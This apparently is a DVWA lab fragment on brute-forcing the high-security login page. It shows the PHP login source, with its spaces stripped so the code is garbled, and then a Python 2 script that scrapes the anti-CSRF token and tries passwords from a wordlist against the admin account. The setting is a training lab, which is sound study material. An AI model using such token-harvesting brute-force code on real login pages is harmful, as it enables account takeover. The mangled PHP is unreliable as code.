<?php if(isset($_GET['Login'])){ //CheckAnti-CSRFtoken checkToken($_REQUEST['user_token'],$_SESSION['session_token'],'index.php'); //Sanitiseusernameinput $user=$_GET['username']; $user=stripslashes($user); $user=mysql_real_escape_string($user); //Sanitisepasswordinput $pass=$_GET['password']; $pass=stripslashes($pass); $pass=mysql_real_escape_string($pass); $pass=md5($pass); //Checkdatabase $query="SELECT*FROM`users`WHEREuser='$user'ANDpassword='$pass';"; $result=mysql_query($query)ordie('<pre>'.mysql_error().'</pre>'); if($result&&mysql_num_rows($result)==1){ //Getusersdetails $avatar=mysql_result($result,0,"avatar"); //Loginsuccessfulecho"<p>Welcometothepasswordprotectedarea{$user}</p>"; echo"<imgsrc="{$avatar}"/>"; } else{ //Loginfailed sleep(rand(0,3)); echo"<pre><br/>Usernameand/orpasswordincorrect.</pre>"; } mysql_close(); } //GenerateAnti-CSRFtoken generateSessionToken(); ?>
from bs4 import BeautifulSoup import urllib2 header={ 'Host': '192.168.xxx.xxx', //目標主機(DVWA)的ip 'Cache-Control': 'max-age=0', 'If-None-Match': "307-52156c6a290c0", 'If-Modified-Since': 'Mon, 05 Oct 2015 07:51:07 GMT', 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36', 'Accept': '*/*', 'Referer': 'http://192.168.xxx.xxx/dvwa/vulnerabilities/brute/index.php', 'Accept-Encoding': 'gzip, deflate, sdch', 'Accept-Language': 'zh-CN,zh;q=0.8', 'Cookie': 'security=high; PHPSESSID=5re92j36t4f2k1gvnqdf958bi2'} requrl = "http://192.168.xxx.xxx/dvwa/vulnerabilities/brute/" def get_token(requrl,header): req = urllib2.Request(url=requrl,headers=header) response = urllib2.urlopen(req) print response.getcode(), the_page = response.read() print len(the_page) soup = BeautifulSoup(the_page,"html.parser") user_token = soup.form.input.input.input.input["value"] #get the user_token return user_token user_token = get_token(requrl,header) i=0for line in open("rkolin.txt"): requrl = "http://192.168.xxx.xxx/dvwa/vulnerabilities/brute/"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token i = i+1 print i,'admin',line.strip(), user_token = get_token(requrl,header) if (i == 10): break